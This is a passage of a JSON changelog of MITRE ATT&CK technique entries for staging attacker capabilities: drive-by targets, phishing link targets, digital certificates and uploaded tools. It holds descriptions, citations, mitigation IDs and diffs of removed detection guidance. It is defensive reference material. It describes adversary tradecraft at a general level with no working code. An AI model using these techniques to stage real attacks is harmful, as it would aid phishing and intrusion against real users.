"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Command: Command Execution\", \"File: File Creation\", \"Network Traffic: Network Connection Creation\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.525000+00:00\", \"old_value\": \"2025-04-15 19:58:22.784000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n\\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\\n\\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\\n-\\n-Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\\n-\\n-On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)\"}}}",
"previous_version": "2.0",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1033: Limit Software Installation",
"M1038: Execution Prevention",
"M1047: Audit",
"M1051: Update Software"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Creation)",
"DS0029: Network Traffic (Network Connection Creation)",
"DS0029: Network Traffic (Network Traffic Flow)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0092: Detection of Malicious or Unauthorized Software Extensions"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--84771bc3-f6a0-403e-b144-01af70e5fda0",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-17 20:04:09.331000+00:00",
"modified": "2025-10-24 17:49:03.444000+00:00",
"name": "Stage Capabilities",
"description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities may also be staged on web services, such as GitHub or Pastebin, or on Platform-as-a-Service (PaaS) offerings that enable users to easily provision applications.(Citation: Volexity Ocean Lotus November 2020)(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608",
"external_id": "T1608"
},
{
"source_name": "Volexity Ocean Lotus November 2020",
"description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.",
"url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/"
},
{
"source_name": "Netskope GCP Redirection",
"description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
"url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
},
{
"source_name": "Netskope Cloud Phishing",
"description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
"url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
},
{
"source_name": "ATT ScanBox",
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"source_name": "DigiCert Install SSL Cert",
"description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
"url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
},
{
"source_name": "Gallagher 2015",
"description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
"url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
},
{
"source_name": "Malwarebytes Heroku Skimmers",
"description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
"url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
},
{
"source_name": "Dragos Heroku Watering Hole",
"description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
"url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
},
{
"source_name": "FireEye CFR Watering Hole 2012",
"description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
},
{
"source_name": "Malwarebytes Silent Librarian October 2020",
"description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
"url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
},
{
"source_name": "Proofpoint TA407 September 2019",
"description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
"url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.444000+00:00\", \"old_value\": \"2025-04-15 23:12:21.613000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0839: Detection of Stage Capabilities"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--31fe0ba2-62fd-4fd9-9293-4043d84f7fe9",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-17 20:33:20.127000+00:00",
"modified": "2025-10-24 17:48:36.634000+00:00",
"name": "Drive-by Target",
"description": "Adversaries may prepare an operational environment to infect systems that visit a website over the normal course of browsing. Endpoint systems may be compromised through browsing to adversary controlled sites, as in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189). In such cases, the user's web browser is typically targeted for exploitation (often not requiring any extra user interaction once landing on the site), but adversaries may also set up websites for non-exploitation behavior such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001). Prior to [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries must stage resources needed to deliver that exploit to users who browse to an adversary controlled site. Drive-by content can be staged on adversary controlled infrastructure that has been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).\n\nAdversaries may upload or inject malicious web content, such as [JavaScript](https://attack.mitre.org/techniques/T1059/007), into websites.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015) This may be done in a number of ways, including:\n\n* Inserting malicious scripts into web pages or other user controllable web content such as forum posts\n* Modifying script files served to websites from publicly writeable cloud storage buckets\n* Crafting malicious web advertisements and purchasing ad space on a website through legitimate ad providers (i.e., [Malvertising](https://attack.mitre.org/techniques/T1583/008))\n\nIn addition to staging content to exploit a user's web browser, adversaries may also stage scripting content to profile the user's browser (as in [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592)) to ensure it is vulnerable prior to attempting exploitation.(Citation: ATT ScanBox)\n\nWebsites compromised by an adversary and used to stage a drive-by may be ones visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is referred to a strategic web compromise or watering hole attack.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608/004",
"external_id": "T1608.004"
},
{
"source_name": "ATT ScanBox",
"description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
"url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks"
},
{
"source_name": "Gallagher 2015",
"description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
"url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
},
{
"source_name": "FireEye CFR Watering Hole 2012",
"description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved November 17, 2024.",
"url": "https://web.archive.org/web/20201024230407/https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.3",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.634000+00:00\", \"old_value\": \"2025-04-15 22:24:03.854000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in the malicious web content utilized to deliver a [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) have been previously identified, internet scanning may uncover when an adversary has staged web content for use in a strategic web compromise.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) or [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203).\"}}}",
"previous_version": "1.3",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0825: Detection of Drive-by Target"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-17 20:32:13.793000+00:00",
"modified": "2025-10-24 17:49:19.322000+00:00",
"name": "Install Digital Certificate",
"description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608/003",
"external_id": "T1608.003"
},
{
"source_name": "DigiCert Install SSL Cert",
"description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021.",
"url": "https://www.digicert.com/kb/ssl-certificate-installation.htm"
},
{
"source_name": "Splunk Kovar Certificates 2017",
"description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
"url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.322000+00:00\", \"old_value\": \"2025-04-15 22:42:10.891000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n\\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\\n-\\n-Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0840: Detection of Install Digital Certificate"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-17 20:35:08.429000+00:00",
"modified": "2025-10-24 17:49:03.552000+00:00",
"name": "Link Target",
"description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608/005",
"external_id": "T1608.005"
},
{
"source_name": "Netskope GCP Redirection",
"description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.",
"url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection"
},
{
"source_name": "Netskope Cloud Phishing",
"description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.",
"url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service"
},
{
"source_name": "URI Unique",
"description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.",
"url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF"
},
{
"source_name": "Kaspersky-masking",
"description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.",
"url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/"
},
{
"source_name": "Talos IPFS 2022",
"description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.",
"url": "https://blog.talosintelligence.com/ipfs-abuse/"
},
{
"source_name": "Malwarebytes Silent Librarian October 2020",
"description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.",
"url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/"
},
{
"source_name": "URI",
"description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.",
"url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits"
},
{
"source_name": "URI Use",
"description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.",
"url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf"
},
{
"source_name": "iOS URL Scheme",
"description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.",
"url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html"
},
{
"source_name": "Intezer App Service Phishing",
"description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.",
"url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/"
},
{
"source_name": "Proofpoint TA407 September 2019",
"description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.",
"url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian"
},
{
"source_name": "Cofense-redirect",
"description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.",
"url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"
},
{
"source_name": "mandiant-masking",
"description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.",
"url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Menachem Goldstein",
"Hen Porcilan",
"Diyar Saadi Ali",
"Nikola Kovac"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"PRE"
],
"x_mitre_version": "1.4",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Internet Scan: Response Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.552000+00:00\", \"old_value\": \"2025-04-15 22:45:40.961000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n\\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\\n-\\n-Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\"}}}",
"previous_version": "1.4",
"changelog_mitigations": {
"shared": [
"M1056: Pre-compromise"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0035: Internet Scan (Response Content)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0893: Detection of Link Target"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--506f6f49-7045-4156-9007-7474cb44ad6d",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2021-03-17 20:31:07.828000+00:00",
"modified": "2025-10-24 17:48:46.160000+00:00",
"name": "Upload Tool",
"description": "Adversaries may upload tools to third-party or adversary controlled infrastructure to make it accessible during targeting. Tools can be open or closed source, free or commercial. Tools can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Adversaries may upload tools to support their operations, such as making a tool available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nTools may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).(Citation: Dell TG-3390) Tools can also be staged on web services, such as an adversary controlled GitHub repo, or on Platform-as-a-Service offerings that enable users to easily provision applications.(Citation: Dragos Heroku Watering Hole)(Citation: Malwarebytes Heroku Skimmers)(Citation: Intezer App Service Phishing)\n\nAdversaries can avoid the need to upload a tool by having compromised victim machines download the tool directly from a third-party hosting location (ex: a non-adversary controlled GitHub repo), including the original hosting site of the tool.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1608/002",
"external_id": "T1608.002"
},
{
"source_name": "Dell TG-3390",
"description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
"url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"
},
{
"source_name": "Malwarebytes Heroku Skimmers",
"description": "J\u00e9r\u00f4me Segura. (2019, December 4). There's an app for that: web skimmers found on PaaS Heroku. Retrieved August 18, 2022.",
"url": "https://www.malwarebytes.com/blog/news/2019/12/theres-an-app-for-that-web-skimmers-found-on-paas-heroku"
},
{
"source_name": "Dragos Heroku Watering Hole",
"description": "Kent Backman. (2021, May 18). When Intrusions Don\u2019t Align: A New Water Watering Hole and Oldsmar. Retrieved August 18, 2022.",
"url": "https://www.dragos.com/blog/industry-news/a-new-water-watering-hole/"
},
{
"source_name": "Intezer App Service Phishing",
